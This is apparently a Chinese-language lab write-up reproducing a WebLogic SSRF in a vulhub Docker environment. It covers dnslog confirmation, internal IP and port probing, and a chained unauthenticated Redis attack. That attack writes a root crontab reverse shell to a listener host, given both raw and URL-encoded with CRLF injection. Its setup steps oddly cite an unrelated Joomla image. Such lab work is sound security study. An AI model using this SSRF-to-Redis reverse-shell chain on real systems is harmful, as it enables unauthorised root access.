SSRF漏洞复现(redis)

文章目录

  • 启动环境
  • 漏洞复现
    • 探测存活IP和端口服务
    • 计划任务反弹shell

前提条件:

1.安装docker

docker pull medicean/vulapps:j_joomla_2

2.安装docker-compose

docker run -d -p 8000:80 medicean/vulapps:j_joomla_2

3.下载vulhub

安装环境已完成,故此省略不做。

启动环境

到vulhub/weblogic/ssrf目录下

cd vulhub/weblogic/ssrf

启动容器:

sudo docker-compose up -d

启动成功,如图:

SSRF漏洞复现(redis)_第1张图片

打开bp,然后打开bp中的内置浏览器Browser,输入地址10.9.75.45:7001/uddiexplorer进入网页,等待初始化后跳转出网页:

SSRF漏洞复现(redis)_第2张图片

漏洞复现

点击Search Public Registries,在页面点击search后用bp抓包:

SSRF漏洞复现(redis)_第3张图片

抓到的数据包如下图,是一个post请求包:
SSRF漏洞复现(redis)_第4张图片

将数据包发到repeater模块,发送后报错,检查错误信息,发现有一个URL,在数据包的底部发现operator包含该URL:
SSRF漏洞复现(redis)_第5张图片

然后我们可以检查此处是否有SSRF漏洞,用dnslog生成一个网址:

SSRF漏洞复现(redis)_第6张图片

复制后在数据包中输入

http://www.emt.hmb3ub.dnslog.cn

观察它是否会根据给的地址做url请求,如果有,就存在SSRF漏洞:

SSRF漏洞复现(redis)_第7张图片

发送后到网站点击Refresh Record,查看是否有请求回显:
SSRF漏洞复现(redis)_第8张图片

确定此处存在SSRF漏洞。

探测存活IP和端口服务

查看报错信息,发现80端口未开放,我们可以测试存活的可用IP,先到kali查看IP:

SSRF漏洞复现(redis)_第9张图片

测试172.17.0.2、172.18.0.2、172.20.0.2、172.21.0.2、172.22.0.2、172.23.0.2、172.24.0.2、172.25.0.2是否存活,如果返回错误信息证明存活,端口用已知的7001开放端口,即它本身的服务端口。

经测试,只有172.23.0.2为存活IP:

SSRF漏洞复现(redis)_第10张图片

在存活IP的基础上测试开放端口80、8080、3306、445、6379,经测试发现只有6379(redis数据库)端口开放(其余端口回显相同的错误信息):
SSRF漏洞复现(redis)_第11张图片

计划任务反弹shell

由于web服务未开放、ssh未开放,利用redis未授权访问漏洞只能写计划任务做反弹shell,写一个每时每分每天每月每周的计划任务,IP写kali的地址,端口为21

set 1 "\n\n\n\n0-59 0-23 1-31 1-12 0-6 root bash -c 'sh -i >& /dev/tcp/10.9.75.45/21 0>&1'\n\n\n\n"
config set dir /etc/
config set dbfilename crontab
save

由于redis数据库的命令需要通过http协议提交,所以需要先进行URL编码:

set%201%20%22%5Cn%5Cn%5Cn%5Cn0-59%200-23%201-31%201-12%200-6%20root%20bash%20-c%20'sh%20-i%20%3E%26%20%2Fdev%2Ftcp%2F10.9.75.45%2F21%200%3E%261'%5Cn%5Cn%5Cn%5Cn%22%0D%0Aconfig%20set%20dir%20%2Fetc%2F%0D%0Aconfig%20set%20dbfilename%20crontab%0D%0Asave

注意,换行符是“\r\n”,也就是“%0D%0A”。

需要在url中提交,前面加上协议头,前后加上两次换行符:

http://172.23.0.2:6379/emt%0D%0A%0D%0Aset%201%20%22%5Cn%5Cn%5Cn%5Cn0-59%200-23%201-31%201-12%200-6%20root%20bash%20-c%20'sh%20-i%20%3E%26%20%2Fdev%2Ftcp%2F10.9.75.45%2F21%200%3E%261'%5Cn%5Cn%5Cn%5Cn%22%0D%0Aconfig%20set%20dir%20%2Fetc%2F%0D%0Aconfig%20set%20dbfilename%20crontab%0D%0Asave %0D%0A%0D%0Aemt

kali监听21端口:
SSRF漏洞复现(redis)_第12张图片

在bp中修改字段点击发送,将计划任务发送到redis数据库中:

SSRF漏洞复现(redis)_第13张图片

反弹shell成功,获取到root权限:

SSRF漏洞复现(redis)_第14张图片

你可能感兴趣的:(漏洞复现,网络安全,redis,数据库,缓存)